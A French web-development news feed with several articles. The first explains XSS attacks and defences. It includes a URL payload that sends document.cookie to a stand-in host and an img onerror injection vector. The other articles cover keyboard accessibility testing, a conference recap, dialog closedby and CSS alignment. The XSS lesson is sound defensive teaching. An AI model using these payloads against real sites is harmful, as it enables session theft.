❌

Vue normale

Reçu — 12 novembre 2026 ⏭ Alsacreations.com - Actualités

Les failles XSS

Par : Rodolphe
10 novembre 2026 à 13:37

Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.

Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.

C'est quoi exactement, XSS ?

Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.

Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.

Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.

Les trois axes d'attaque XSS

1. XSS réfléchi (Reflected XSS)

La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.

2. XSS stocké (Stored XSS)

Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.

Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.

3. XSS basé sur le DOM (DOM-based XSS)

Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et boum.

Pourquoi ça marche encore de nos jours ?

Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.

Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.

Comment s'en protéger ?

Échapper les sorties

Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.

En PHP

htmlspecialchars() est fait pour ça :

// ❌ Dangereux
echo $_GET['name'];

// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');

htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient &lt;script&gt;alert(1)&lt;/script&gt; affiché comme du... texte, pas exécuté comme du code.

  • Toujours préciser ENT_QUOTES pour encoder aussi les guillemets simples
  • Toujours préciser l'encodage UTF-8 explicitement
  • Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)

Dans un attribut HTML :

<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

Dans une URL :

<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>

N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.

Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :

<script>
  const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.

En JavaScript (vanilla)

textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :

// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;

// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;

textContent n'interprète pas le HTML.

Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :

// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;

// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);

Méfiez-vous des sources de données non fiables.

// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;

// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);

La Content Security Policy (CSP)

Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.

La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.

Les attributs HttpOnly et Secure sur les cookies

Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly : le cookie n'est pas accessible via JavaScript
  • Secure : le cookie n'est transmis que sur HTTPS
  • SameSite=Strict : le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)

Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.

Récapitulatif

Contexte Risque Solution
PHP vers HTML Injection de balises htmlspecialchars() avec ENT_QUOTES
PHP vers URL Injection dans href/src urlencode()
PHP vers JavaScript Injection dans scripts inline json_encode() avec flags
JS vanilla vers DOM innerHTML avec données externes textContent
Tous Script injecté exécuté CSP + cookies HttpOnly

Pour aller plus loin

Publié par Alsacreations.com

Reçu — 21 octobre 2026 ⏭ Alsacreations.com - Actualités

Un clic réussi ne prouve pas l’accessibilité au clavier

Par : edikka
20 octobre 2026 à 11:00

Trois commandes « Ajouter au panier ». Même apparence, même texte, même script. Playwright MCP peut cliquer chacune d’elles, et les trois clics ajoutent bien un article. Au clavier, Tab en ignore deux.

Le cas trompeur est celui du div auquel on a ajouté role="button" : il apparaît comme le bouton HTML natif dans l’instantané transmis par MCP, sans en avoir le comportement. Après une seule retouche de couleur sur le décor, le score Lighthouse d’accessibilité atteint même 100/100 sur les trois pages. La barrière clavier reste intacte.

Trois versions, deux Tab

La démonstration isole trois variantes sur trois pages. Seule la commande « Ajouter au panier » change ; le reste est commun.

<!-- A : div cliquable -->
<div class="command" id="command">Ajouter au panier</div>

<!-- B : div cliquable avec un rôle -->
<div class="command" id="command" role="button">Ajouter au panier</div>

<!-- C : bouton HTML natif -->
<button class="command" id="command" type="button">Ajouter au panier</button>

Les identifiants appartiennent à des documents séparés. Le même gestionnaire click incrémente le compteur dans les trois variantes. Les deux div sont volontairement incomplets : aucun gestionnaire clavier ne les complète.

Ouvrez une variante dans un nouvel onglet, puis utilisez Tab depuis le début du document. Le premier arrêt est le lien « Voir le produit ». Le deuxième donne le résultat de l’expérience :

Variante Focus après deux Tab Ajout au clavier
A — div Vider le panier Ignorée
B — div avec rôle de bouton Vider le panier Ignorée
C — button Ajouter au panier +1 avec Entrée, +1 avec Espace¹

Chaque touche est essayée dans une page neuve, avec un compteur à zéro.

Sur A et B, on passe directement du lien au bouton de remise à zéro. L’action d’ajout existe au clic, mais le parcours de tabulation ne la dessert pas.

Sur Mac : vérifiez les réglages avant de comparer. La navigation au clavier de macOS et l’option de Safari permettant de parcourir chaque élément avec Tab influencent les arrêts. Apple détaille ces réglages et Option + Tab dans son guide Safari. Si le bouton natif est lui aussi ignoré, commencez par ces réglages. Nos mesures utilisent Chrome.

Ce que Playwright MCP transmet

Playwright MCP expose des outils de navigateur à un agent. browser_snapshot décrit la page ; browser_click agit sur un élément désigné par une référence de cette description.

Dans des sessions isolées, nous avons appelé ces outils sur chaque variante. Les deux versions MCP testées donnent les mêmes lignes pour l’ajout au panier :

# A — div
- generic [ref=e14] [cursor=pointer]: Ajouter au panier

# B — div role="button"
- button "Ajouter au panier" [ref=e14] [cursor=pointer]

# C — button
- button "Ajouter au panier" [ref=e14] [cursor=pointer]

La référence e14 est locale à chaque instantané. Transmise à browser_click, elle permet de faire passer le compteur de 0 à 1 dans les trois cas.

Pour B et C, le bloc YAML complet avant interaction est identique, ligne pour ligne, dans les deux versions testées. Rien n’y distingue leur accès par Tab. A dispose aussi d’une référence utilisable, malgré l’absence de rôle de bouton.

Un agent équipé de MCP dispose donc ici d’un moyen de cliquer une commande absente du parcours clavier. Notre script a sélectionné la cible ; nous n’avons pas mesuré la décision d’un agent autonome.

Le petit indice CSS

L’annotation [cursor=pointer] vient du style commun :

.command {
  cursor: pointer;
}

Dans une copie, on surcharge uniquement cette propriété par cursor: default. Les trois annotations disparaissent. A conserve sa référence :

- generic [ref=e14]: Ajouter au panier

Les trois clics MCP fonctionnent encore. Le pointeur enrichit cette représentation sans conditionner, dans ces essais, la présence d’une référence ou le succès du clic. Il n’ajoute aucun arrêt de tabulation.

Le YAML mêle sémantique et indices de présentation. Aucun de ces indices n’établit, à lui seul, que la commande est atteignable par Tab.

Pourquoi cette distinction compte pour les agents

La FAQ d’OpenAI pour Atlas recommande des rôles, libellés et états descriptifs sur les éléments interactifs, en renvoyant aux bonnes pratiques WAI-ARIA. Adrian Roselli a critiqué cette recommandation, notamment le risque d’ajouts redondants ou erronés et de détournement des attributs à des fins de référencement.

Notre comparaison illustre un risque précis : enrichir la description d’un contrôle peut laisser son défaut d’accès intact. L’ajout du rôle n’a pas créé la barrière clavier ; il ne l’a pas corrigée. Ces essais ne permettent pas de déduire la représentation qu’utilise Atlas.

Lighthouse : trois bons scores, la même barrière

Nous avons ensuite lancé Lighthouse sur les mêmes pages. Sa catégorie expérimentale « Agentic Browsing » comprend notamment un audit intitulé Accessibility tree is well-formed. Il réussit pour les trois variantes.

Le score Lighthouse d’accessibilité demande une précision : dans les fichiers d’origine, Lighthouse signale le contraste du mot « NOTES » dessiné sur le carnet. On conserve ces résultats, puis on crée une seconde copie où seule la couleur de fond du carnet change, de #687b40 à #647640. Le balisage des boutons et leur script restent identiques.

Scores Lighthouse d’accessibilité :

Variante Score initial Après correction du contraste
A — div cliquable 95/100 100/100
B — div avec rôle 96/100 100/100
C — button natif 95/100 100/100

Les tests clavier échouent toujours sur A et B après ce changement de couleur. On peut donc obtenir ici un score Lighthouse d’accessibilité de 100/100 tout en laissant l’action principale hors du parcours de tabulation.

Pourquoi B dépasse-t-il même C ? Le rôle explicite rend quatre audits ARIA supplémentaires applicables et réussis. Leur poids réduit la part du même échec de contraste dans la moyenne : après arrondi, 96 au lieu de 95. Les rapports et le calcul détaillé permettent de vérifier cet effet, sans amélioration du parcours clavier.

Google documente cette limite : le score Lighthouse d’accessibilité agrège des audits automatisés, tandis que la vérification de la prise de focus des contrôles interactifs fait partie des contrôles manuels.

L’audit destiné aux agents filtre lui aussi une sélection de règles, visibles dans le code de Lighthouse 13.5.0. Dans nos six rapports, les deux audits applicables d’Agentic Browsing réussissent : arbre d’accessibilité et stabilité de mise en page. Les cinq autres sont non applicables. Ce périmètre ne couvre pas notre parcours par Tab.

À chaque observation sa question

Le navigateur expose l’interface aux technologies d’assistance selon les correspondances HTML Accessibility API Mappings. Playwright construit ses propres instantanés : le YAML MCP n’est ni l’arbre natif complet ni une transcription vocale.

Le mot « NOTES », placé sous aria-hidden="true", illustre cette différence. Il figure dans le YAML MCP, mais pas dans page.locator('body').ariaSnapshot() par défaut avec Playwright 1.64.0. Les nœuds non ignorés de l’arbre Chromium recueilli par le protocole DevTools ne l’exposent pas non plus.

Observation Question couverte
ariaSnapshot() Quelle représentation ARIA Playwright produit-il avec ces options ?
Instantané MCP Quelles descriptions et références sont transmises ?
Clic MCP et compteur L’ajout fonctionne-t-il par cette référence ?
Tab puis activation La commande est-elle atteinte et activable par ce parcours ?
Lecteur d’écran — non testé ici Comment le contrôle et le résultat sont-ils restitués ?

Un lecteur d’écran peut rencontrer autrement un élément ignoré par Tab. La restitution de B avec VoiceOver ou NVDA reste à tester.

Le test qui doit passer au rouge

Cette distinction change aussi la façon d’écrire un test. Sur B, getByRole(...).click() fait passer le compteur à 1 sans imposer le trajet par Tab.

locator.press() a un autre angle mort : il tente d’abord de placer le focus sur sa cible. Pour l’observer, on ajoute tabindex="-1" au bouton natif C, dans un essai séparé. press('Enter') déclenche toujours l’ajout ; Tab ignore ce bouton. Sur B, en revanche, press('Enter') laisse le compteur à zéro. Tester une activation ne suffit donc pas à tester l’accès au contrôle.

Pour couvrir notre parcours, on envoie les touches à la page, puis on exige le focus sur le bouton. Voici le test exécuté avec @playwright/test, configuré pour Google Chrome ; baseURL désigne le dossier des variantes, avec une barre oblique finale.

const {test, expect} = require('@playwright/test');

const variant = process.env.VARIANT || 'c';

for (const key of ['Enter', 'Space']) {
  test(`Tab atteint le bouton ; ${key} ajoute un article`, async ({page}) => {
    await page.goto(`${variant}.html`);
    await expect(page.locator('#count')).toHaveText('0');
    await page.keyboard.press('Tab'); // Lien « Voir le produit ».
    await page.keyboard.press('Tab'); // Le bouton doit venir ensuite.
    await expect(page.getByRole('button', {
      name: 'Ajouter au panier', exact: true,
    })).toBeFocused();
    await page.keyboard.press(key);
    await expect(page.locator('#count')).toHaveText('1');
  });
}

Le contexte de chaque test est neuf. Sur C, les deux tests réussissent. Avec VARIANT=b, ils échouent sur l’assertion de focus ; avec VARIANT=a, le bouton recherché par rôle est absent. Dans les deux cas, le processus termine avec un code d’erreur. Une simple journalisation « non atteint » laisserait la suite verte.

Ces deux Tab correspondent à l’ordre attendu de cette page. Dans une application, on décrit le parcours attendu avec la même précision et on vérifie aussi le retour avec Maj + Tab, l’indicateur de focus et le retour d’information. Un compteur qui change ne suffit pas à établir que la personne a perçu le résultat.

Ce que le bouton HTML apporte

La différence observée est celle annoncée par l’ARIA Authoring Practices Guide : un rôle décrit une fonction, mais ne fournit pas les interactions clavier correspondantes.

Ajouter tabindex="0" au div l’intègre à la tabulation ; il reste à programmer l’activation attendue d’un bouton. Pour notre action, le navigateur fournit déjà ce comportement avec :

<button type="button">Ajouter au panier</button>

Le gestionnaire click suffit à recevoir aussi l’activation clavier native. type="button" évite une soumission involontaire si l’élément se retrouve dans un formulaire. Le texte fournit le nom accessible ; répéter ce nom dans aria-label ou ajouter role="button" n’est pas nécessaire ici.

La bonne place d’ARIA : décrire un état réel

Choisir un bouton natif ne dispense pas de décrire ses états. S’il déplie des informations de livraison, aria-expanded indique si le panneau est ouvert ou fermé. Le script doit synchroniser cet attribut avec la visibilité du contenu ; le bouton fournit déjà les interactions clavier.

Le modèle Disclosure décrit cette association. aria-controls, facultatif, relie le bouton au panneau. L’article d’Alsacréations « Le modèle de conception ARIA Disclosure » en détaille l’implémentation.

Voici une version qui garde le contenu disponible sans JavaScript :

<button type="button" id="delivery-toggle"
        aria-controls="delivery"
        aria-expanded="false" hidden>
  Informations de livraison
</button>
<div id="delivery">
  <p>Livraison en trois à cinq jours ouvrés.</p>
</div>
<script>
  const toggle = document.querySelector('#delivery-toggle');
  const panel = document.querySelector('#delivery');
  function setExpanded(expanded) {
    panel.hidden = !expanded;
    toggle.setAttribute('aria-expanded', String(expanded));
  }
  toggle.addEventListener('click', () => setExpanded(panel.hidden));
  setExpanded(false);
  toggle.hidden = false;
</script>

Pour un contenu simplement dépliable sous son intitulé, details et summary fournissent le mécanisme sans script :

<details>
  <summary>Informations de livraison</summary>
  <p>Livraison en trois à cinq jours ouvrés.</p>
</details>

Dans la version scriptée ci-dessus, le bouton n’apparaît qu’après l’initialisation du script ; sans JavaScript, le panneau reste lisible. Vérifiez que les styles respectent hidden. Plus largement, certains styles CSS peuvent altérer la sémantique exposée : un rôle explicite peut alors servir de correctif ciblé.

Revenir au parcours

Un clic automatisé réussi ne valide pas le parcours clavier. Dans notre démonstration, le test doit vérifier que Tab atteint la commande et qu’Entrée comme Espace déclenchent l’action. Le bouton HTML fournit les comportements natifs attendus ; le test vérifie leur fonctionnement dans ce parcours.

Méthode et limites

Mesures du 8 octobre 2026, sur macOS arm64 avec Chrome 155.0.8059.39 sans interface graphique, profil bureau 1 280 × 900. Première campagne : Playwright 1.63.0, MCP 0.0.68, Lighthouse 13.5.0. Complément : Playwright 1.64.0 et MCP 0.0.83, avec le même Chrome. Il confirme les six clics MCP et le parcours clavier des variantes d’origine, puis compare les représentations et les activations click() / press(). Lighthouse n’est pas relancé.

Les sources sont figées à la révision ae88025. Les contre-essais modifient séparément le fond du carnet, cursor ou tabindex. Le dossier de reproduction et son complément MCP 0.0.83 conservent sources, scripts, empreintes et résultats, avec les versions de Playwright embarquées par MCP, distinctes de celles des tests.

Un passage par condition et par version, sur trois pages volontairement simples : il ne s’agit pas d’une étude statistique. Les clics MCP sont pilotés par un script déterministe. Aucun essai autonome d’Atlas ou d’un autre agent, ni essai VoiceOver ou NVDA, n’est inclus. Les résultats ne constituent pas un audit de conformité complet.

Publié par Alsacreations.com

Reçu — 7 octobre 2026 ⏭ Alsacreations.com - Actualités

Paris Web 2026 : l'humain et l'inclusion au cœur du numérique

Par : Raphael
29 septembre 2026 à 11:00

La semaine dernière s'est tenue l'édition 2026 de Paris Web. Quel plaisir de monter sur scène cette année pour parler de typographie et d'intégration web, et de profiter de l'événement pour échanger et continuer d'apprendre ! Voici un résumé de ces journées intenses.

Une édition (encore) portée par la bienveillance

Ce que je retiens particulièrement de cette année, c'est l'ambiance générale. L'événement s'est montré très ouvert et résolument inclusif. La bienveillance était au rendez-vous à chaque instant, ce qui a rendu les discussions d'autant plus constructives. Mais pour les habitués de Paris Web, ce n'est pas une nouveauté !

Les thématiques abordées étaient globalement moins techniques que lors des éditions précédentes. Cela n'a pourtant rien enlevé à leur pertinence, car chaque prise de parole était portée par la passion des intervenantes et intervenants.

Le dilemme du programme

Du côté de l'organisation, le nouveau format m'a un peu déstabilisé. Avec une seule salle de conférences face à trois salles d'ateliers, le choix était souvent difficile. Participer à un atelier impliquait inévitablement de manquer au moins deux conférences en parallèle. J'ai tout de même pu suivre l'atelier Webperf : apprenons à maîtriser les outils de Jean-Pierre Vincent, particulièrement instructif, même s'il a fallu faire des concessions sur la suite du planning.

Inclusion, accessibilité et introspection

Malgré ce programme serré, les sessions auxquelles j'ai pu assister étaient d'une grande richesse.

L'accessibilité a été traitée sous plusieurs angles. Nous avons eu droit à des retours d'expérience concrets avec Grise Bouille : de l'a11y dans un blog BD, ainsi qu'à une analyse budgétaire très pragmatique grâce à Le juste prix (ou ce que l'accessibilité coûte pour de vrai). Le témoignage Comment l'IA m'a permis de dépasser mon handicap de Sophie Drouvroy a également apporté un regard essentiel et très personnel sur les outils d'assistance.

Au-delà de l'accessibilité technique, c'est l'inclusion de façon plus large qui a été questionnée. Le programme a rappelé que l'inclusion démarre dès la constitution des équipes (Concevoir entre les cultures : l'inclusion commence dans l'équipe), tout en soulignant nos biais de conception (Ce que l'écran ne voit pas : vulnérabilité et exclusion systémique). Des sessions marquantes comme Le numérique, à la fois allié et barrière pour les personnes trans ou Libres et citoyennes ont parfaitement illustré la complexité (et les écueils) de nos environnements numériques.

Enfin, nos habitudes de conception et d'analyse ont aussi été challengées. J'ai pu découvrir le fonctionnement interne du fédivers (Mastodon 5.0 Behind the scenes), m'interroger sur la standardisation de nos interfaces (Ce que nous avons perdu avec les design systems), et revoir ma méthode d'investigation des bugs (Développeur ou chercheur : pourquoi votre prochain bug nécessite une blouse blanche).

En résumé, cette édition 2026 de Paris Web a fait un bien fou. Elle nous a rappelé la raison principale pour laquelle nous faisons ce métier : pour les humains qui se trouvent derrière l'écran.

Et pour les personnes atteintes de "pédanterie grammaticale" comme moi : oui, j'ai pensé à insérer une espace fine insécable avant les doubles ponctuations de cet article ;)

Ah et… rendez-vous l'année prochaine !

voir la légende associée
Ce que nous avons perdu avec les design systems (Nolwenn Maudet)
voir la légende associée
&#8239;, l'entité HTML pour représenter l'espace fine insécable

Publié par Alsacreations.com

Reçu — 15 juin 2026 ⏭ Alsacreations.com - Actualités

Fermeture de dialog avec l'attribut closedby

Par : Rodolphe
13 juin 2026 à 13:00

Pour rappel <dialog> permet de créer des boîtes de dialogue (modales, popups, popins, elles ont tant de noms) en HTML sans plus avoir à tout gérer en CSS+JavaScript pour positionner un élément <div> en absolu.

Et on a aussi connu cela : une popin qui se ferme quand on appuie sur echap alors qu'on voulait forcer l'utilisateur à valider un formulaire, ou à l'inverse une modale qu'on ne peut fermer qu'avec un bouton alors qu'un clic en dehors serait tellement plus naturel. Jusqu'ici, la solution consistait à empiler du JavaScript pour gérer ça à la main.

Désormais, un simple attribut HTML suffit.

Mentionné par Una Kravets et Bramus Van Damme à la Google I/O 2026.

Comment ça marche ?

L'attribut closedby s'ajoute directement sur l'élément <dialog> et accepte trois valeurs :

  • any — le dialogue se ferme via la touche Échap, un geste natif (retour arrière sur mobile), ou un clic en dehors (correspond à ce qu'on appelle un light dismiss).
  • closerequest — fermeture via la touche Echap ou geste natif uniquement, pas de clic en dehors. C'est le comportement par défaut d'une modale ouverte avec showModal().
  • none — fermeture uniquement via code (bouton, soumission de formulaire…), aucune alternative native.

Exemples rapides :

<!-- On peut cliquer à côté pour fermer -->
<dialog closedby="any">
  <p>Aperçu rapide, fermable au moindre clic extérieur.</p>
  <button onclick="this.closest('dialog').close()">Fermer</button>
</dialog>
<!-- Aucune fermeture "accidentelle" possible -->
<dialog closedby="none">
  <p>Formulaire critique. On ne vous laisse pas esquiver comme ça.</p>
  <button onclick="this.closest('dialog').close()">Valider et fermer</button>
</dialog>

Et sans closedby ?

Si l'attribut est absent ou invalide, le navigateur applique un comportement automatique : - showModal() → se comporte comme closedby="closerequest" (Echap fonctionne). - show() ou attribut open → se comporte comme closedby="none" (rien ne ferme sans code).

Autrement dit, rien ne change pour vos éléments existants. Ouf la rétrocompatibilité.

Compatibilité navigateurs

À ce jour, le support atteint environ 70 % de couverture globale d'après Caniuse ce qui est encourageant mais insuffisant pour un usage en production sans y réfléchir.

Navigateur Support
Chrome / Edge ✅ depuis la version 134
Firefox ✅ depuis la version 141
Opera ✅ depuis la version 119
Safari (macOS & iOS) ❌ pas encore supporté

🐌 Safari reste en retrait... et tant que ce n'est pas supporté un fallback JavaScript pour le light dismiss peut faire l'affaire :

// Fallback pour les navigateurs sans closedby="any"
document.querySelectorAll('dialog[closedby="any"]').forEach((dialog) => {
  document.addEventListener('click', (e) => {
    if (dialog.open && !e.composedPath().includes(dialog)) {
      dialog.close();
    }
  });
});

Accessibilité

L'attribut closedby agit uniquement sur la fermeture, il ne modifie pas la sémantique de l'élément. Les bonnes pratiques habituelles restent donc :

  • closedby="any" : le clic en dehors ferme la boîte de dialogue, vérifiez que ce comportement est prévisible pour les utilisateurs de lecteurs d'écran. Un clic accidentel à côté d'un formulaire partiellement rempli peut surprendre. Réservez cette valeur aux interactions légères et non critiques (petites popups d'information ou de prévisualiation).
  • closedby="none" : si l'utilisateur ne peut pas fermer via la touche Échap ni en cliquant en dehors, il doit impérativement y avoir un bouton de fermeture, accessible au clavier et aux technologies d'assistance.
  • Gestion du focus : à l'ouverture, le focus doit aller dans la modale ; à la fermeture, il doit revenir sur l'élément déclencheur (qui a ouvert la modale, par exemple un bouton).
  • Libellé/titre : pensez à aria-labelledby (pointant vers le titre) et éventuellement aria-describedby pour les descriptions. L'élément <dialog> expose déjà le bon rôle ARIA, mais sans nom accessible les lecteurs d'écran annoncent une boîte de dialogue anonyme.

Publié par Alsacreations.com

Reçu — 2 juin 2026 ⏭ Alsacreations.com - Actualités

Centrer verticalement en CSS : épisode final

Par : Raphael
2 juin 2026 à 10:09

Le centrage vertical en CSS… C’est historiquement l’une des difficultés les plus célèbres du développement web, un sujet de plaisanterie classique qui fait sourire les développeurs back-end et désespérer les intégrateurs depuis l’époque de CSS2.

Pendant près de quinze ans, nous avons multiplié les détours techniques. Nous avons buté sur des vertical-align: middle capricieux réservés aux tableaux, ou des position: absolute combinés à des top: 50% et des transform: translateY(-50%) aussi magiques que fragiles.

Cette époque de savants calculs et de lignes de code superflues est désormais révolue depuis l'arrivée des modèles de positionnement Flexbox et Grid Layout.

Ceci dit, une petite révolution est passée quasi inaperçue, et pourtant elle simplifie tout : la propriété align-content fonctionne désormais dans le flux normal (Block layout). Plus besoin de déclarer un display: flex ou display: grid simplement pour aligner du contenu verticalement.

Le grand déblocage : align-content partout, pour tous

Jusqu’à récemment, align-content était une propriété exclusivement réservée aux modules Flexbox et Grid Layout. Elle permettait de distribuer l’espace entre les lignes ou d’aligner le contenu sur l’axe secondaire. Si vous tentiez de l’appliquer sur un simple bloc de texte (display: block), le navigateur l’ignorait superbement.

Grâce à une mise à jour majeure des spécifications CSS (CSS Box Alignment Module Level 3), align-content est désormais fonctionnel dans tous les modes d’affichage.

Un support universel et moderne

C’est une excellente nouvelle : ce comportement n’est pas une simple piste de réflexion, il est déjà pleinement supporté par tous les navigateurs modernes (Chrome, Firefox, Safari et Edge). Vous pouvez dès aujourd’hui l’utiliser en production pour simplifier considérablement vos intégrations.

Alors comment ça marche ?

Le principal avantage de cette évolution est l’économie de code et de structure HTML. Voyons cela à travers deux cas d’usage concrets.

1. Le centrage vertical parfait

Pour centrer un contenu verticalement dans un conteneur de hauteur fixe ou minimale, il suffit désormais de deux lignes de CSS sur le parent. Pas de Flexbox, pas de Grid, juste du bloc natif.

.hero-banner {
  display: block; /* Optionnel, c'est le comportement par défaut d'un div */
  min-height: 400px;

  /* La magie opère ici */
  align-content: center;
}

Ce qui change par rapport à Flexbox

Avec Flexbox, écrire align-items: center (ou align-content) nécessite impérativement un display: flex. Le problème, c’est que le passage en mode Flexbox modifie le comportement de tous les enfants directs (ils deviennent des flex items, se mettent en ligne par défaut, etc.). Avec align-content sur un bloc, les enfants restent des blocs normaux, conservent leurs marges et leur comportement natif dans le flux.

2. Aligner en bas de page

Vous souhaitez positionner un pied de carte ou un texte tout en bas d’un bloc sans avoir recours au positionnement absolu ? L’opération est tout aussi directe :

.card {
  min-height: 300px;
  align-content: end;
}

Vous pouvez bien sûr utiliser toutes les valeurs classiques de la propriété : start, end, center, space-between, space-around, space-evenly.

Tableau récapitulatif des valeurs courantes

Valeur Effet sur un bloc (display: block)
start / flex-start Aligne le contenu au début (haut) du conteneur.
center Centre le contenu verticalement.
end / flex-end Aligne le contenu à la fin (bas) du conteneur.
space-between Distribue l’espace résiduel entre les blocs enfants.

Et pour l'axe horizontal ? Le cas de justify-self

Si align-content règle magistralement la question de l'alignement vertical sur le parent, une autre propriété complémentaire pointe le bout de son nez pour l'axe horizontal : justify-self.

Appliquée cette fois directement sur un élément enfant au sein d'un bloc, elle a pour but de lui permettre de se positionner de manière autonome à gauche, à droite ou au centre de son parent (par exemple avec justify-self: center ou justify-self: end).

Pour le moment, le support actuel par les navigateurs reste encore trop partiel pour envisager une utilisation en production. Pour l'alignement horizontal d'un bloc individuel dans le flux normal, les bonnes vieilles marges automatiques (margin-inline: auto, etc.) ont donc encore de beaux jours devant elles.

Pourquoi ça change la vie ?

Au-delà du gain de temps, cette évolution CSS apporte une vraie rigueur sémantique et technique :

  • Lisibilité du code : Moins de conteneurs (div) superflus créés uniquement pour corriger des défauts d’alignement.
  • Performance cognitive : Le code est plus lisible. Quand on lit align-content: center, on comprend immédiatement l’intention, sans avoir à analyser si le display: flex associé ne risque pas de perturber le reste de la mise en page.
  • Respect du flux : On conserve la puissance et la prévisibilité du modèle de bloc traditionnel là où Flexbox ou Grid n’étaient finalement que des détours techniques pour un besoin simple.

Dix-quinze ans après les premiers débats enflammés sur les forums d’Alsacreations pour savoir s’il fallait utiliser les display: table-cell ou des hacks à base de lignes fantômes, le CSS moderne nous offre enfin l’outil ultime. Une seule propriété pour les gouverner toutes. Elle n’est pas belle, la vie d’intégrateur en 2026 ?

Publié par Alsacreations.com

Reçu — 19 mai 2026 ⏭ Alsacreations.com - Actualités

Google publie son guide officiel pour l'optimisation IA

Par : Rodolphe
19 mai 2026 à 11:15

Google a mis en ligne un guide officiel, assez compact, que beaucoup attendaient pour expliquer comment "optimiser son site" pour ses fonctionnalités d'IA (obtention de résumés automatiques, mode "IA" dans les résultats, etc.).

Bonne nouvelle pour le web : il n'y a rien de révolutionnaire, et cela ne devrait - pour le moment - aboutir à aucune technique fourbe qui impacterait les humains ou l'accessibilité numérique.

Le message principal est que les bonnes pratiques classiques restent valables.

Le but de cette actualité n'est pas de faire la promotion de l'usage de IA par Google mais bien de souligner l'espérance d'une absence d'impact supplémentaire sur la qualité du web actuel.

